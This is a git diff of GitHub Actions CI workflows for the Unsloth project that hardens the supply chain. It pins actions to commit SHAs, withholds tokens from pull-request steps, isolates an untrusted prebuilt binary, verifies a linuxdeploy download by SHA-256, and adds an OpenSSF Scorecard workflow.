+ fi + + - name: Stop Studio + if: always() + run: | + # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make + # `kill 0` signal this step's whole process group and abort cleanup. + if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then + kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true + fi + sleep 2 + ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: prompt-cache-log + path: | + logs/ + redacted-configs/ + retention-days: 7 diff --git a/.github/workflows/lockfile-audit.yml b/.github/workflows/lockfile-audit.yml index 9c28e21672..aaf258d615 100644 --- a/.github/workflows/lockfile-audit.yml +++ b/.github/workflows/lockfile-audit.yml @@ -60,11 +60,11 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 5 steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 with: persist-credentials: false - - uses: actions/setup-python@v5 + - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0 with: python-version: '3.12' diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml index 221e86f235..a2f716a93c 100644 --- a/.github/workflows/mlx-ci.yml +++ b/.github/workflows/mlx-ci.yml @@ -163,7 +163,7 @@ jobs: 'pytest==9.0.3' \ 'pytest-asyncio==1.3.0' \ 'httpx==0.28.1' - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch==2.10.0' # github.com occasionally 500s on the git fetch; retry the # zoo install so a single upstream blip does not fail CI. @@ -231,41 +231,126 @@ jobs: tests/studio/test_is_mlx_dispatch_gate.py \ tests/studio/test_mlx_training_worker_behaviors.py - # Studio prebuilt llama.cpp install + GGUF inference. Mirrors the - # path Studio's setup.sh takes on macOS since #5963: plan against - # the unslothai/llama.cpp fork's latest release, which ships the - # bin-macos-arm64 bundle plus the llama-prebuilt-manifest.json the - # default policy reads. After install, downloads a small published - # GGUF (unsloth/gemma-3-270m-it-GGUF, Q4_K_M) and validates - # llama-server /completion end to end. An install failure or a - # non-zero binary exit is an Unsloth/Studio bug. - - name: Studio prebuilt llama.cpp install + GGUF inference (Mac M1) + # Real MLX training + inference smoke test. Trains + # unsloth/gemma-3-270m-it for 7 deterministic LoRA steps + # (batch_size=2, gradient_accumulation_steps=3) on a single + # repeated row ("<> My name is Unsloth!"), then saves + # the trained model in 3 export formats. The `train` subcommand + # captures per-phase timing + peak GPU + peak RSS into + # train_metrics.json so we can detect regressions across CI runs. + - name: MLX export round-trip — TRAIN + SAVE 3 formats + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + UNSLOTH_COMPILE_DISABLE: '1' + run: | + mkdir -p mlx_workdir + # Authenticate llama.cpp's release-API lookup (anonymous 403s on rate-limit); + # read-only GITHUB_TOKEN scoped here only, never to steps that run binaries. + GH_TOKEN="${{ secrets.GITHUB_TOKEN }}" GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \ + python tests/studio/run_real_mlx_smoke.py train \ + --workdir "$PWD/mlx_workdir" + + # Each reload step runs in a FRESH Python process to confirm + # the cold-start path users would hit in production also works + # (not just the in-memory continuation of a still-running + # trainer). FastMLXModel.from_pretrained gets called from + # scratch; mx.random is re-seeded; per-step timing + peak + # memory are emitted to {format}_reload_metrics.json next to + # the saved dir. + - name: MLX export round-trip — RELOAD LoRA (fresh process) + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + UNSLOTH_COMPILE_DISABLE: '1' + run: | + python tests/studio/run_real_mlx_smoke.py reload \ + --format lora \ + --dir "$PWD/mlx_workdir/lora" + + - name: MLX export round-trip — RELOAD merged_16bit (fresh process) + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + UNSLOTH_COMPILE_DISABLE: '1' + run: | + python tests/studio/run_real_mlx_smoke.py reload \ + --format merged \ + --dir "$PWD/mlx_workdir/merged_16bit" + + # GGUF reload uses the llama-cli binary that save_pretrained_gguf + # built. If save_pretrained_gguf was skipped during train (e.g. + # llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer + # vocab -- a downstream llama.cpp limitation, not an unsloth_zoo + # bug), this step emits a workflow warning and exits 0 so the + # LoRA + merged_16bit assertions remain the gating signal. + - name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process) + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then + python tests/studio/run_real_mlx_smoke.py reload \ + --format gguf \ + --dir "$PWD/mlx_workdir/gguf" + else + REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')") + echo "::warning title=GGUF round-trip skipped::${REASON}" + echo "GGUF export was skipped during the train phase. Reason:" + echo " ${REASON}" + echo "Continuing without failing the job; the LoRA + merged_16bit" + echo "reload assertions are still gating this PR." + fi + + # Print all metrics JSON files so regressions are visible in the + # job log. always() so we get telemetry even if a reload step + # asserted gibberish. + - name: MLX export round-trip — aggregate metrics + if: always() + run: | + for f in mlx_workdir/train_metrics.json \ + mlx_workdir/lora_reload_metrics.json \ + mlx_workdir/merged_reload_metrics.json \ + mlx_workdir/gguf_reload_metrics.json; do + echo "=== $f ===" + cat "$f" 2>/dev/null || echo "(missing)" + echo + done + + # Validates the macOS prebuilt path Studio's setup.sh uses (#5963): install the + # unslothai/llama.cpp fork's latest release, download a small public GGUF, and + # check llama-server /completion end to end. Split and placed last so the + # untrusted binary runs only in the final smoke step, after every HF_TOKEN step, + # leaving no token-bearing step or shared workspace for a tampered prebuilt to + # corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch. + - name: Studio prebuilt llama.cpp install + GGUF download (Mac M1) env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - # install_llama_prebuilt.py hits the GitHub releases API to - # resolve the asset URL. Anonymous calls share the runner-IP - # rate-limit bucket and 403 quickly -- pass the workflow's - # automatic GITHUB_TOKEN to bump us to the 5000/hr authenticated - # bucket. GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -euo pipefail INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp" rm -rf "$INSTALL_DIR" - # Mirror studio/setup.sh on macOS (the install.sh user path): - # it plans against the unslothai/llama.cpp fork's latest - # release with no policy or tag flags. + # Download only -- no llama-quantize / llama-server launch in this step. python studio/install_llama_prebuilt.py \ --install-dir "$INSTALL_DIR" \ --published-repo unslothai/llama.cpp + mkdir -p /tmp/ggufs + bash .github/scripts/hf-download-with-retry.sh \ + 'unsloth/gemma-3-270m-it-GGUF' \ + 'gemma-3-270m-it-Q4_K_M.gguf' \ + /tmp/ggufs - # Studio bundles only llama-server + llama-quantize from the - # prebuilt (not llama-cli) -- inference goes through - # llama-server's HTTP /completion endpoint. Validate both: - # llama-quantize --help proves the dynamic libs link, then - # spin up llama-server and POST a /completion request on a - # tiny published GGUF. + # Final step: runs the downloaded binaries with no secrets present, and clears + # the GitHub Actions command files so a tampered prebuilt cannot influence the job. + - name: Studio prebuilt llama.cpp GGUF inference smoke (Mac M1) + run: | + set -euo pipefail + unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY + INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp" + # Studio bundles only llama-server + llama-quantize (not llama-cli); + # inference goes through llama-server's HTTP /completion endpoint. LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server" LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize" [ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; } @@ -274,12 +359,6 @@ jobs: echo "llama-quantize: $LLAMA_QUANT" "$LLAMA_QUANT" --help >/dev/null && echo " llama-quantize loads OK" - mkdir -p /tmp/ggufs - bash .github/scripts/hf-download-with-retry.sh \ - 'unsloth/gemma-3-270m-it-GGUF' \ - 'gemma-3-270m-it-Q4_K_M.gguf' \ - /tmp/ggufs - PORT=18080 echo "=== starting llama-server on 127.0.0.1:$PORT ===" "$LLAMA_SERVER" \ @@ -322,82 +401,3 @@ jobs: exit 1 fi echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works" - - # Real MLX training + inference smoke test. Trains - # unsloth/gemma-3-270m-it for 7 deterministic LoRA steps - # (batch_size=2, gradient_accumulation_steps=3) on a single - # repeated row ("<> My name is Unsloth!"), then saves - # the trained model in 3 export formats. The `train` subcommand - # captures per-phase timing + peak GPU + peak RSS into - # train_metrics.json so we can detect regressions across CI runs. - - name: MLX export round-trip — TRAIN + SAVE 3 formats - env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - UNSLOTH_COMPILE_DISABLE: '1' - run: | - mkdir -p mlx_workdir - python tests/studio/run_real_mlx_smoke.py train \ - --workdir "$PWD/mlx_workdir" - - # Each reload step runs in a FRESH Python process to confirm - # the cold-start path users would hit in production also works - # (not just the in-memory continuation of a still-running - # trainer). FastMLXModel.from_pretrained gets called from - # scratch; mx.random is re-seeded; per-step timing + peak - # memory are emitted to {format}_reload_metrics.json next to - # the saved dir. - - name: MLX export round-trip — RELOAD LoRA (fresh process) - env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - UNSLOTH_COMPILE_DISABLE: '1' - run: | - python tests/studio/run_real_mlx_smoke.py reload \ - --format lora \ - --dir "$PWD/mlx_workdir/lora" - - - name: MLX export round-trip — RELOAD merged_16bit (fresh process) - env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - UNSLOTH_COMPILE_DISABLE: '1' - run: | - python tests/studio/run_real_mlx_smoke.py reload \ - --format merged \ - --dir "$PWD/mlx_workdir/merged_16bit" - - # GGUF reload uses the llama-cli binary that save_pretrained_gguf - # built. If save_pretrained_gguf was skipped during train (e.g. - # llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer - # vocab -- a downstream llama.cpp limitation, not an unsloth_zoo - # bug), this step emits a workflow warning and exits 0 so the - # LoRA + merged_16bit assertions remain the gating signal. - - name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process) - env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - run: | - if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then - python tests/studio/run_real_mlx_smoke.py reload \ - --format gguf \ - --dir "$PWD/mlx_workdir/gguf" - else - REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')") - echo "::warning title=GGUF round-trip skipped::${REASON}" - echo "GGUF export was skipped during the train phase. Reason:" - echo " ${REASON}" - echo "Continuing without failing the job; the LoRA + merged_16bit" - echo "reload assertions are still gating this PR." - fi - - # Print all metrics JSON files so regressions are visible in the - # job log. always() so we get telemetry even if a reload step - # asserted gibberish. - - name: MLX export round-trip — aggregate metrics - if: always() - run: | - for f in mlx_workdir/train_metrics.json \ - mlx_workdir/lora_reload_metrics.json \ - mlx_workdir/merged_reload_metrics.json \ - mlx_workdir/gguf_reload_metrics.json; do - echo "=== $f ===" - cat "$f" 2>/dev/null || echo "(missing)" - echo - done diff --git a/.github/workflows/notebooks-ci.yml b/.github/workflows/notebooks-ci.yml index 2edcae8ab2..0e0b35dd4d 100644 --- a/.github/workflows/notebooks-ci.yml +++ b/.github/workflows/notebooks-ci.yml @@ -263,7 +263,7 @@ jobs: # unsloth_zoo.vision_utils imports PIL at module top, and the # easiest way to get a torch-compatible PIL on a CPU runner is # to let torchvision pull the right Pillow version. - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.8,<2.11' 'torchvision<0.26' # Pin to the same versions update_all_notebooks.py installs in # generated notebooks. Keep these in lockstep with PIN_TRL / diff --git a/.github/workflows/ossf.yml b/.github/workflows/ossf.yml new file mode 100644 index 0000000000..f9a270540f --- /dev/null +++ b/.github/workflows/ossf.yml @@ -0,0 +1,78 @@ +# This workflow uses actions that are not certified by GitHub. They are provided +# by a third-party and are governed by separate terms of service, privacy +# policy, and support documentation. + +name: Scorecard supply-chain security +on: + # For Branch-Protection check. Only the default branch is supported. See + # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection + branch_protection_rule: + # To guarantee Maintained check is occasionally updated. See + # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained + schedule: + - cron: '21 20 * * 0' + push: + branches: [ "main" ] + +# Declare default permissions as read only. +permissions: read-all + +jobs: + analysis: + name: Scorecard analysis + runs-on: ubuntu-latest + # `publish_results: true` only works when run from the default branch. conditional can be removed if disabled. + if: github.event.repository.default_branch == github.ref_name || github.event_name == 'pull_request' + permissions: + # Needed to upload the results to code-scanning dashboard. + security-events: write + # Needed to publish results and get a badge (see publish_results below). + id-token: write + # Uncomment the permissions below if installing in a private repository. + # contents: read + # actions: read + + steps: + - name: "Checkout code" + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false + + - name: "Run analysis" + uses: ossf/scorecard-action@f49aabe0b5af0936a0987cfb85d86b75731b0186 # v2.4.1 + with: + results_file: results.sarif + results_format: sarif + # (Optional) "write" PAT token. Uncomment the `repo_token` line below if: + # - you want to enable the Branch-Protection check on a *public* repository, or + # - you are installing Scorecard on a *private* repository + # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional. + # repo_token: ${{ secrets.SCORECARD_TOKEN }} + + # Public repositories: + # - Publish results to OpenSSF REST API for easy access by consumers + # - Allows the repository to include the Scorecard badge. + # - See https://github.com/ossf/scorecard-action#publishing-results. + # For private repositories: + # - `publish_results` will always be set to `false`, regardless + # of the value entered here. + publish_results: true + + # (Optional) Uncomment file_mode if you have a .gitattributes with files marked export-ignore + # file_mode: git + + # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF + # format to the repository Actions tab. + - name: "Upload artifact" + uses: actions/upload-artifact@4cec3d8aa04e39d1a68397de0c4cd6fb9dce8ec1 # v4.6.1 + with: + name: SARIF file + path: results.sarif + retention-days: 5 + + # Upload the results to GitHub's code scanning dashboard (optional). + # Commenting out will disable upload of results to your repo's Code Scanning dashboard + - name: "Upload to code-scanning" + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: results.sarif diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml index e747605322..188e078f90 100644 --- a/.github/workflows/release-desktop.yml +++ b/.github/workflows/release-desktop.yml @@ -353,7 +353,7 @@ jobs: if: matrix.platform == 'ubuntu-22.04' run: | sudo apt-get update - sudo apt-get install -y libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf + sudo apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf # ── Node.js ── - name: Setup Node.js @@ -406,9 +406,65 @@ jobs: if (config.bundle?.linux?.rpm) { throw new Error('bundle.linux.rpm must not be configured'); } + if (config.bundle?.linux?.appimage?.bundleMediaFramework !== false) { + throw new Error('Linux AppImage bundleMediaFramework must stay false'); + } const workflow = readFileSync('.github/workflows/release-desktop.yml', 'utf8'); const lines = workflow.split(/\r?\n/); + const linuxInstallLines = lines.filter((line) => line.includes('sudo apt-get install')); + const ayatanaPackage = ['libayatana', 'appindicator3-dev'].join('-'); + if (linuxInstallLines.some((line) => line.includes(ayatanaPackage))) { + throw new Error('Desktop Linux release must not install the Ayatana appindicator dev package'); + } + if (!linuxInstallLines.some((line) => line.includes('libappindicator3-dev'))) { + throw new Error('Desktop Linux release must install libappindicator3-dev'); + } + const linuxdeployLines = lines.filter((line) => line.includes('github.com/linuxdeploy/linuxdeploy/releases/download')); + if (!linuxdeployLines.some((line) => line.includes('1-alpha-20250213-2/linuxdeploy-x86_64.AppImage'))) { + throw new Error('Desktop Linux release must pin linuxdeploy 1-alpha-20250213-2'); + } + // A pinned version/path is reproducibility, not integrity: the asset + // can be replaced after upload. Require the immutable SHA-256 digest + // to be pinned AND verified before chmod +x. Scope every check to the + // real "Pin linuxdeploy for AppImage" step so this guard cannot + // satisfy itself; a file-wide scan would match the guard's own code. + const expectedLinuxdeployDigest = '4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a'; + const isComment = (line) => { + const trimmed = line.trim(); + return trimmed.startsWith('#') || trimmed.startsWith('//'); + }; + const stepStart = lines.findIndex((line) => /^\s*- name: Pin linuxdeploy for AppImage\s*$/.test(line)); + if (stepStart === -1) { + throw new Error('Desktop Linux release must keep the "Pin linuxdeploy for AppImage" step'); + } + const stepIndent = lines[stepStart].search(/\S/); + let stepEnd = lines.length; + for (let i = stepStart + 1; i < lines.length; i += 1) { + const line = lines[i]; + if (line.trim() === '') continue; + const indent = line.search(/\S/); + // The next sibling step ('- ...') at the same indent, or any dedent + // below the step, ends this step's block. + if (indent < stepIndent || (indent === stepIndent && /^\s*-\s/.test(line))) { + stepEnd = i; + break; + } + } + const stepLines = lines.slice(stepStart, stepEnd); + const digestEnvRe = /^\s*LINUXDEPLOY_SHA256:\s*["']([0-9a-f]{64})["']\s*$/; + const digestEnvLine = stepLines.find((line) => digestEnvRe.test(line)); + if (!digestEnvLine || digestEnvLine.match(digestEnvRe)[1] !== expectedLinuxdeployDigest) { + throw new Error('Desktop Linux release must pin the linuxdeploy SHA-256 digest in the LINUXDEPLOY_SHA256 env'); + } + const sha256Idx = stepLines.findIndex((line) => !isComment(line) && line.includes('sha256sum -c')); + if (sha256Idx === -1) { + throw new Error('Desktop Linux release must verify the linuxdeploy digest with sha256sum -c before use'); + } + const chmodIdx = stepLines.findIndex((line) => !isComment(line) && /chmod\s+\+x/.test(line)); + if (chmodIdx !== -1 && sha256Idx > chmodIdx) { + throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x'); + } const releaseBodies = []; for (let i = 0; i < lines.length; i += 1) { const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/); @@ -438,6 +494,12 @@ jobs: if (/\brpm\b|\.rpm/i.test(body)) { throw new Error('Desktop release body must not advertise RPM packages'); } + if (/AppImage.*universal|universal.*AppImage/i.test(body)) { + throw new Error('Desktop release body must not advertise AppImage as universal'); + } + if (!/AppImage.*experimental/i.test(body)) { + throw new Error('Desktop release body must mark AppImage as experimental'); + } } JS @@ -562,6 +624,33 @@ jobs: Get-Command trusted-signing-cli -ErrorAction SilentlyContinue || Write-Output "trusted-signing-cli NOT in PATH" trusted-signing-cli --version || Write-Output "trusted-signing-cli failed to run" + # ── Linux: pin AppImage packaging toolchain ── + - name: Pin linuxdeploy for AppImage + if: matrix.platform == 'ubuntu-22.04' + shell: bash + env: + # Pinning the versioned release path is reproducibility, not + # integrity: a GitHub release asset can be replaced (or its delivery + # path compromised) after upload. The SHA-256 below is the immutable + # digest of this exact asset and is the integrity gate. If linuxdeploy + # publishes a new build under this tag, this run fails closed and the + # digest must be re-pinned deliberately. + LINUXDEPLOY_URL: "https://github.com/linuxdeploy/linuxdeploy/releases/download/1-alpha-20250213-2/linuxdeploy-x86_64.AppImage" + LINUXDEPLOY_SHA256: "4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a" + run: | + set -euo pipefail + tools_dir="$RUNNER_TEMP/tauri-tools-cache/tauri" + mkdir -p "$tools_dir" + dest="$tools_dir/linuxdeploy-x86_64.AppImage" + curl -fsSL "$LINUXDEPLOY_URL" -o "$dest" + # Verify the digest BEFORE the binary is ever marked executable. The + # next step builds the AppImage with the Tauri signing key and a + # contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy + # that ran here could exfiltrate signing material or tamper with + # published release artifacts. Fail closed on any mismatch. + echo "${LINUXDEPLOY_SHA256} ${dest}" | sha256sum -c - + chmod +x "$dest" + # ── Linux: build + sign + upload ── - name: Build Linux app if: matrix.platform == 'ubuntu-22.04' @@ -570,6 +659,7 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }} TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }} + XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache with: projectPath: studio tauriScript: npx --prefix . tauri @@ -580,9 +670,10 @@ jobs: **macOS**: Download the Apple Silicon `.dmg`. **Windows**: Download the `-setup.exe` installer. - **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal). + **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental. > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. + > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available. > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. releaseDraft: ${{ inputs.draft }} @@ -611,9 +702,10 @@ jobs: **macOS**: Download the Apple Silicon `.dmg`. **Windows**: Download the `-setup.exe` installer. - **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal). + **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental. > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. + > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available. > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. releaseDraft: ${{ inputs.draft }} @@ -643,9 +735,10 @@ jobs: **macOS**: Download the Apple Silicon `.dmg`. **Windows**: Download the `-setup.exe` installer. - **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal). + **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental. > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. + > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available. > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. releaseDraft: ${{ inputs.draft }} diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml index 0ef2ad1e9d..1275d12216 100644 --- a/.github/workflows/security-audit.yml +++ b/.github/workflows/security-audit.yml @@ -2,8 +2,8 @@ # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # Multi-language supply-chain audit. Triggers: -# - PRs touching any dependency manifest (Python / npm / Cargo) or -# this workflow file, +# - PRs touching any dependency manifest (Python / npm / Cargo), a +# scanner or its allowlist baseline, or this workflow file, # - push to main / pip, # - nightly @ 04:13 UTC so newly-published advisories surface even # when no PR opens, @@ -57,7 +57,9 @@ on: - 'studio/src-tauri/Cargo.lock' - 'pyproject.toml' - 'scripts/scan_packages.py' + - 'scripts/scan_packages_baseline.json' - 'scripts/scan_npm_packages.py' + - 'scripts/scan_npm_packages_baseline.json' - '.github/workflows/security-audit.yml' push: branches: [main, pip] diff --git a/.github/workflows/studio-api-smoke.yml b/.github/workflows/studio-api-smoke.yml index b196805cf7..15efee382e 100644 --- a/.github/workflows/studio-api-smoke.yml +++ b/.github/workflows/studio-api-smoke.yml @@ -83,7 +83,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -100,7 +101,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml index 6e53a290cf..3022127a2b 100644 --- a/.github/workflows/studio-backend-ci.yml +++ b/.github/workflows/studio-backend-ci.yml @@ -68,15 +68,16 @@ jobs: pip install -r studio/backend/requirements/studio.txt # Extras that studio.txt does not list but the import chain needs # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography - # for the auth DB, yaml/jinja2 for utils.models.model_config, etc.): + # for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for + # the orphan-cleanup process scan, etc.): pip install \ - python-multipart aiofiles sqlalchemy cryptography \ + python-multipart aiofiles sqlalchemy cryptography psutil \ pyyaml jinja2 mammoth unpdf requests \ 'numpy<3' pytest pytest-asyncio httpx # Torch CPU + transformers are required by a chunk of the backend test # suite (gpu_selection, kv_cache_estimation, utils). CPU-only torch # keeps the install ~250 MB / ~1 min on a clean runner. - pip install --index-url https://download.pytorch.org/whl/cpu 'torch>=2.4,<2.11' + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple 'torch>=2.4,<2.11' pip install 'transformers>=4.51,<5.5' - name: Backend tests @@ -133,11 +134,11 @@ jobs: python -m pip install --upgrade pip pip install -r studio/backend/requirements/studio.txt pip install \ - python-multipart aiofiles sqlalchemy cryptography \ + python-multipart aiofiles sqlalchemy cryptography psutil \ pyyaml jinja2 mammoth unpdf requests typer \ 'numpy<3' pytest pytest-asyncio httpx # torchvision: unsloth_zoo.vision_utils imports it at module scope. - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.4,<2.11' 'torchvision<0.26' pip install 'transformers>=4.51,<5.5' # bitsandbytes: hard import in unsloth/models/_utils.py. Recent @@ -226,9 +227,12 @@ jobs: tests/sh/test_studio_home_node_dir.sh \ tests/sh/test_system_node_readonly.sh \ tests/sh/test_nvcc_meets_llama_minimum.sh \ + tests/sh/test_resolve_cuda_archs.sh \ tests/sh/test_tauri_install_exit_order.sh \ tests/sh/test_torch_constraint.sh \ - tests/sh/test_torch_flavor.sh; do + tests/sh/test_torch_flavor.sh \ + tests/sh/test_with_llama_cpp_dir_flag.sh \ + tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do echo "::group::$s" bash "$s" echo "::endgroup::" diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml new file mode 100644 index 0000000000..1ee6489209 --- /dev/null +++ b/.github/workflows/studio-export-capability-ci.yml @@ -0,0 +1,76 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS. +# +# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per +# platform) and the export backend must import without PyTorch, so this confirms the gating and +# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator +# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block +# torch/unsloth, so the job installs only a CPU PyTorch plus import deps. + +name: Studio export capability + +on: + pull_request: + paths: + - 'studio/backend/utils/hardware/hardware.py' + - 'studio/backend/core/export/export.py' + - 'studio/backend/routes/export.py' + - 'studio/backend/main.py' + - 'studio/backend/tests/test_export_capability.py' + - '.github/workflows/studio-export-capability-ci.yml' + push: + branches: [main] + paths: + - 'studio/backend/utils/hardware/hardware.py' + - 'studio/backend/core/export/export.py' + - 'studio/backend/routes/export.py' + - 'studio/backend/main.py' + - 'studio/backend/tests/test_export_capability.py' + - '.github/workflows/studio-export-capability-ci.yml' + workflow_dispatch: + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + capability: + name: capability (${{ matrix.os }}) + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + runs-on: ${{ matrix.os }} + timeout-minutes: 20 + env: + # No accelerator on hosted runners; keep detection on the CPU path. + CUDA_VISIBLE_DEVICES: "" + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + - name: Upgrade pip + run: python -m pip install --upgrade pip + - name: Install CPU PyTorch + # CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's + # transitive deps still resolve 